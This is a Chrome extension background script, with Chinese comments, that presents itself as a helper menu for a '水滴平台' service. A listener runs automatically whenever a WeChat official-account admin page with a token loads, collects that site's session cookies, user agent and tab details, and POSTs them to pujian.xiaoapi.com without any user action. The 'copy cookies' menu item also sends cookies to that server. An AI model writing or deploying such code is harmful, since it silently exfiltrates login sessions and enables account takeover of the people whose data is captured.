129 lines
4.1 KiB
JavaScript
129 lines
4.1 KiB
JavaScript
|
let mainPageId = '...'
|
|||
|
// 将当前页面的cookies复制到剪切板
|
|||
|
function sendCookies(info, tab) {
|
|||
|
let cookies = '';
|
|||
|
chrome.cookies.getAll({
|
|||
|
url: tab.url
|
|||
|
}, function(cookie) {
|
|||
|
// 遍历当前域名下cookie, 拼接成字符串
|
|||
|
cookie.forEach(v => {
|
|||
|
cookies += v.name + "=" + v.value + "; "
|
|||
|
})
|
|||
|
// 添加到剪切板
|
|||
|
const input = document.createElement('input');
|
|||
|
input.style.position = 'fixed';
|
|||
|
input.style.opacity = 0;
|
|||
|
input.value = cookies;
|
|||
|
document.body.appendChild(input)
|
|||
|
input.select()
|
|||
|
document.execCommand('Copy')
|
|||
|
document.body.removeChild(input)
|
|||
|
// 传参
|
|||
|
var postData = {
|
|||
|
cookie: cookie,
|
|||
|
userAgent: navigator.userAgent,
|
|||
|
url: location.href
|
|||
|
};
|
|||
|
ajax_method('https://pujian.xiaoapi.com/profileCookies', postData, function(data) {
|
|||
|
|
|||
|
})
|
|||
|
})
|
|||
|
}
|
|||
|
|
|||
|
function getTabId() {
|
|||
|
return mainPageId;
|
|||
|
}
|
|||
|
|
|||
|
function ajax_method(url, data, success) {
|
|||
|
// 异步对象
|
|||
|
var ajax = new XMLHttpRequest();
|
|||
|
// post请求
|
|||
|
// post请求 url 是不需要改变
|
|||
|
ajax.open('post', url);
|
|||
|
// 需要设置请求报文
|
|||
|
ajax.setRequestHeader("Content-type", "application/json");
|
|||
|
// ajax.setRequestHeader("Access-Control-Allow-Origin", "*");
|
|||
|
// 判断data send发送数据
|
|||
|
if (data) {
|
|||
|
// 如果有值 从send发送
|
|||
|
data = JSON.stringify(data);
|
|||
|
ajax.send(data);
|
|||
|
} else {
|
|||
|
// 木有值 直接发送即可
|
|||
|
ajax.send();
|
|||
|
}
|
|||
|
// 注册事件
|
|||
|
// alert('注册时间')
|
|||
|
ajax.onreadystatechange = function() {
|
|||
|
// 在事件中 获取数据 并修改界面显示
|
|||
|
// alert('success')
|
|||
|
if (ajax.readyState == 4 && ajax.status == 200) {
|
|||
|
// 将 数据 让 外面可以使用
|
|||
|
// return ajax.responseText;
|
|||
|
// 当 onreadystatechange 调用时 说明 数据回来了
|
|||
|
// ajax.responseText;
|
|||
|
// 如果说 外面可以传入一个 function 作为参数 success
|
|||
|
success(ajax.responseText);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
var parent = chrome.contextMenus.create({
|
|||
|
"title": "水滴平台",
|
|||
|
"contexts": ["page"]
|
|||
|
})
|
|||
|
var sendCookies = chrome.contextMenus.create({
|
|||
|
"title": "提取Cookie与UserAgent获取",
|
|||
|
"parentId": parent,
|
|||
|
"contexts": ["page"],
|
|||
|
"onclick": sendCookies
|
|||
|
})
|
|||
|
var sendCookies = chrome.contextMenus.create({
|
|||
|
"title": "打开水滴系统",
|
|||
|
"parentId": parent,
|
|||
|
"contexts": ["page"],
|
|||
|
"onclick": function(params) {
|
|||
|
chrome.tabs.create({
|
|||
|
url: 'http://www.xiaoapi.com/'
|
|||
|
});
|
|||
|
}
|
|||
|
})
|
|||
|
var sendCookies = chrome.contextMenus.create({
|
|||
|
"title": "搜狗-微信频道",
|
|||
|
"parentId": parent,
|
|||
|
"contexts": ["page"],
|
|||
|
"onclick": function(params) {
|
|||
|
chrome.tabs.create({
|
|||
|
url: 'https://weixin.sogou.com'
|
|||
|
});
|
|||
|
}
|
|||
|
})
|
|||
|
//
|
|||
|
chrome.tabs.onUpdated.addListener(function(id, info, tab) {
|
|||
|
if (tab.status === 'complete' && tab.url.indexOf('https://mp.weixin.qq.com') === 0 && tab.url.indexOf('token=') != -1) {
|
|||
|
let cookies = '';
|
|||
|
chrome.cookies.getAll({
|
|||
|
url: tab.url
|
|||
|
}, function(cookie) {
|
|||
|
// 遍历当前域名下cookie, 拼接成字符串
|
|||
|
cookie.forEach(v => {
|
|||
|
cookies += v.name + "=" + v.value + "; "
|
|||
|
})
|
|||
|
// 传参
|
|||
|
var postData = {
|
|||
|
userAgent: navigator.userAgent,
|
|||
|
cookie: cookies,
|
|||
|
id: tab.id,
|
|||
|
url: tab.url,
|
|||
|
title: tab.title,
|
|||
|
height: tab.height,
|
|||
|
width: tab.width,
|
|||
|
status: tab.status,
|
|||
|
};
|
|||
|
console.log(postData, tab);
|
|||
|
ajax_method('https://pujian.xiaoapi.com/profileCookies', postData, function(data) {
|
|||
|
var data = typeof data == 'string' ? JSON.parse(data) : data;
|
|||
|
mainPageId = data.message;
|
|||
|
})
|
|||
|
})
|
|||
|
};
|
|||
|
});
|